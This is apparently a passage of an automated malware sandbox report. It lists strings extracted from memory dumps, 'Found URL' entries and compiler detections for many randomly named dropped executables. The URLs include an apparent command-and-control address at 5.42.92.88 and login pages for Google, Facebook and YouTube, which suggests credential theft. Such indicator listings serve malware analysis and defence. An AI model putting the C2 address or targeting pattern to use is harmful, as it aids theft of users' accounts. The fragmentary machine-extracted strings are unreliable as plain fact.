e:hapubws@www.rakuten.co.jp/c:\users\gezfvro\appdata\roaming\microsoft\windows\cookies\6tzsspy7.txtle9d8ad754c0fd460e8cbc6aca3f4c:\windows\system32\dnsapi.dllle9d8ad754c0fd460e8cbc6aca3f4cle9d8ad754c0fd460e8cbc6aca3f4cle9d8ad754c0fd460e8cbc6aca3f4cle9d8ad754c0fd460e8cbc6aca3f4c:\windows\system32\nlaapi.dllmcupdate_authenticamd.dllc:\windows\system32\cmd.exemsisip.dllmsjet40.dllmsjint40.dllmsjter40.dllmsjtes40.dllmsls31.dllmsltus40.dllcmdl32.exe.ex!cmmon32.execmpbk32.dllcmstplua.dllcmutil.dllcngaudit.dllcnvfat.dllcodeintegritycofire.execofiredm.dllcolbact.dllcollab.cplcolorcnv.dllcolorcpl.execolorui.dllcomcat.dllcomctl32.dllcomdlg32.dllcomexp.msccommand.comcommdlg.dllcompact.execompmgmt.msccompobj.dllcompstui.dllcomrepl.dllcomres.dllcomsnap.dllcomsvcs.dllcomuid.dllhapubws-papubws-pc192.168.241.150hapubws-pc192.168.241.150i+ncalrpc:[ole9d8ad754c0fd460e8cbc6aca3f4c]t" - Source: "00000000-00002124.00000003.76429.00450000.00000004.mdmp") Found URL "https://accounts.google.com/'" - Source: "00000000-00002124.00000003.76429.00450000.00000004.mdmp") Found URL "https://accounts.google.com/" - Source: "00000000-00002124.00000003.76429.00450000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\gezfvro\appdata\local\temp\ixp002.tmp\4xv765hr.exe.configfile:///c:/users/gezfvro/appdata/local/temp/ixp002.tmp/4xv765hr.exec:/users/gezfvro/appdata/local/temp/ixp002.tmp/4xv765hr.exec:\users\gezfvro\appdata\local\temp\ixp002.tmp\4xv765hr.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.0versionv4.00123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userservice" - Source: "00000000-00002132.00000000.67874.022F0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00002132.00000000.67874.022F0000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00002132.00000000.67874.022F0000.00000004.mdmp") Found URL "http://5.42.92.88/8w" - Source: "00000000-00002592.00000000.70855.00270000.00000004.mdmp") Found URL "http://5.42.92.88/loghub/mastertp\-tx\-@@wsys" - Source: "00000000-00002592.00000000.70855.00270000.00000004.mdmp") Found URL "http://5.42.92.88/loghub/mastert().tp).zav0+.avx+.av" - Source: "00000000-00002592.00000000.70855.00270000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\gezfvro\appdata\local\temp\ixp004.tmp\2jg195qq.exe.configfile:///c:/users/gezfvro/appdata/local/temp/ixp004.tmp/2jg195qq.exec:/users/gezfvro/appdata/local/temp/ixp004.tmp/2jg195qq.exec:\users\gezfvro\appdata\local\temp\ixp004.tmp\2jg195qq.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.0versionv4.00123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userservice" - Source: "00000000-00003464.00000000.71447.022C0000.00000004.mdmp") Found URL "https://api.ip.sb/ip0.0.0.0selsystem.windows.formsect" - Source: "00000000-00003464.00000000.71447.022C0000.00000004.mdmp") Found URL "https://www.facebook.com/loginegistry\user\s-1-5-21-2092356043-4041700817-663127204-1001ystem.windows.input.manipulationsystem.windows.input.manipulationsystem.windows.input.manipulationsystem.windows.input.manipulationsstem.windows.input.manipulationsystem.servicemodel.localchannelnel.:\windows\system32\wshtcpip.dllystem.runtime.durableinstancingicrosoft.visualstudio.servicemodelicrosoft.transactions.bridge.dtcystem.servicemodel.localchannelystem.runtime.serialization.xamlystem.activities.core.presentationystem.activities.durableinstancingmp\2jg195qq.execommonprogra:\program" - Source: "00000000-00003464.00000001.72546.00410000.00000004.mdmp") Found URL "https://accoae.com/';creationclassname" - Source: "00000000-00003464.00000001.72546.06F60000.00000004.mdmp") Found URL "https://accounts.google.com/';creationclassname" - Source: "00000000-00003464.00000001.72546.06F60000.00000004.mdmp") Found URL "https://kok.com/login';creationclassname" - Source: "00000000-00003464.00000001.72546.06F60000.00000004.mdmp") Found URL "https://accounts.g" - Source: "00000000-00003464.00000001.72546.06F60000.00000004.mdmp") Found URL "https://accoe.com/" - Source: "00000000-00003464.00000001.72546.06F60000.00000004.mdmp") Found URL "https://www.facebook.com/login';creationclassname" - Source: "00000000-00003464.00000001.72546.06F60000.00000004.mdmp") Found URL "https://www.youtube.com/';creationclassname" - Source: "00000000-00003464.00000001.72546.06F60000.00000004.mdmp") Found URL "https://accounts.google.com/" - Source: "00000000-00003464.00000001.72546.06F60000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\gezfvro\appdata\local\temp\ixp000.tmp\4lw879sl.exe.configfile:///c:/users/gezfvro/appdata/local/temp/ixp000.tmp/4lw879sl.exec:/users/gezfvro/appdata/local/temp/ixp000.tmp/4lw879sl.exec:\users\gezfvro\appdata\local\temp\ixp000.tmp\4lw879sl.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.0versionv4.00123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userservice" - Source: "00000000-00003600.00000000.73269.02610000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003600.00000000.73269.02610000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00003600.00000000.73269.02610000.00000004.mdmp") Found URL "https://accounts.google.com/" - Source: "00000000-00003600.00000001.74318.003E0000.00000004.mdmp") Found URL "https://www.facebook.com/loginom/" - Source: "00000000-00003600.00000001.74318.003E0000.00000004.mdmp") Found URL "https://www.youtube.com/';creationclassname" - Source: "00000000-00003600.00000001.74318.06E10000.00000004.mdmp") Found URL "https://accounts.google.com/';creationclassname" - Source: "00000000-00003600.00000001.74318.06E10000.00000004.mdmp") Found URL "https://accounts.google.com/" - Source: "00000000-00003600.00000001.74318.06E10000.00000004.mdmp") Found URL "https://www.facebook.com/login';creationclassname" - Source: "00000000-00003600.00000001.74318.06E10000.00000004.mdmp") Found URL "http://www.windows.com/pctv.update" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://www.windows.com/pctv.select" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=53081" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=30564-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=131536-http://go.microsoft.com/fwlink/?linkid=131535+http://go.microsoft.com/fwlink/?linkid=8430software" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=70599help" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=145837.presscheckcheckuncheckselectpresspresspresspressexecutepnow" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=57190microsoft" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=145765ehtray_notify_nullehtray_s_ignore_eventlow" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://vista.gallery.microsoft.com/vista/sideshow.aspxgadgetsno" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://www.icra.org/vocabulary/.nonelimitedsomeunrestrictednudity4no" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=32146" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=70183'res://wmploc.dll/offline_radioguide.htm&visualizationsshow" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://images.metaservices.microsoft.com/cover/6http://redir.metaservices.microsoft.com/redir/buynow/?1http://redir.metaservices.microsoft.com/dvdcover/phttp://redir.metaservices.microsoft.com/redir/buynow/?,http://windowsmedia.com/redir/findmedia.asp?9http://redir.metaservices.microsoft.com/redir/getmdrdvd/?8http://redir.metaservices.microsoft.com/redir/getmdrcd/?bhttp://redir.metaservices.microsoft.com/redir/getmdrcdbackground/??http://redir.metaservices.microsoft.com/redir/getmdrcdposturl/?ihttp://redir.metaservices.microsoft.com/redir/getmdrcdposturlbackground/?=http://redir.metaservices.microsoft.com/redir/getdaiposturl/?:http://redir.metaservices.microsoft.com/redir/daifailure/?microsoft" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://redir.metaservices.microsoft.com/redir/submittoc/?-http://windowsmedia.com/redir/querytocext.asp1res://wmploc.dll/offline_mediainfo_nowplaying.htm7http://redir.metaservices.microsoft.com/redir/buynowmg/,http://windowsmedia.com/redir/buyticket9.asp)http://windowsmedia.com/redir/idppage.asp)http://windowsmedia.com/redir/idplogo.aspsegoe" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=321507optimized" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=8792hdcd" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://redir.metaservices.microsoft.com/redir/mediaguide/?9http://redir.metaservices.microsoft.com/redir/radiotuner/,http://windowsmedia.com/redir/querytocnp.asp" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://redir.metaservices.microsoft.com/redir/dvddetails/9http://redir.metaservices.microsoft.com/redir/dvdwizard/?pshow" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://windowsmedia.com/redir/services.asp?wmpfriendly=trueonlinestoresplearn" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://www.microsoft.com/windows/windowsmedia/musicservices.aspx?http://redir.metaservices.microsoft.com/redir/allservices/?sv=2?http://redir.metaservices.microsoft.com/redir/allservices/?sv=3?http://redir.metaservices.microsoft.com/redir/allservices/?sv=5musicpicturesvideos/enter" - Source: "00000000-00003600.00000001.74318.07FA0000.00000002.mdmp") Found URL "http://timevalue Microsoft Corporation" "foto2552_1_.exe" was detected as "Microsoft visual C++ 8" "iu7rW97.exe" was detected as "Microsoft visual C++ 8" "gk7GM2iR.exe" was detected as "Microsoft visual C++ 8" "WW5pa33.exe" was detected as "Microsoft visual C++ 8" "tL3sv5VH.exe" was detected as "Microsoft visual C++ 8" "ob8Cl01.exe" was detected as "Microsoft visual C++ 8" "RK6Ko1mo.exe" was detected as "Microsoft visual C++ 8" "nalo.exe" was detected as "VC8 -> Microsoft Corporation" "BG0Vi31.exe" was detected as "Microsoft visual C++ 8" "AN3Bj1Ru.exe" was detected as "Microsoft visual C++ 8" "sus.exe.bin" was detected as "VC8 -> Microsoft Corporation" "3vp37IO.exe" was detected as "VC8 -> Microsoft Corporation" "5Vl58Ec.exe" was detected as "VC8 -> Microsoft Corporation" "1AG03bS7.exe" was detected as "VC8 -> Microsoft Corporation" "2Jg195qq.exe" was detected as "Microsoft visual C# v7.0 / Basic .NET" "4xv765hr.exe" was detected as "Microsoft visual C# v7.0 / Basic .NET" "5jk2WA4.exe" was detected as "VC8 -> Microsoft Corporation" "3XP8tA46.exe" was detected as "VC8 -> Microsoft Corporation" "1Sf96TF3.exe" was detected as "VC8 -> Microsoft Corporation" "clip_1_.dll" was detected as "Borland Delphi 3.0 (???)" "6pM65Va.exe" was detected as "PureBasic 4.x -> Neil Hodgson" "6kb5JC6.exe" was detected as "PureBasic 4.x -> Neil Hodgson"6b:T4001,"initAft()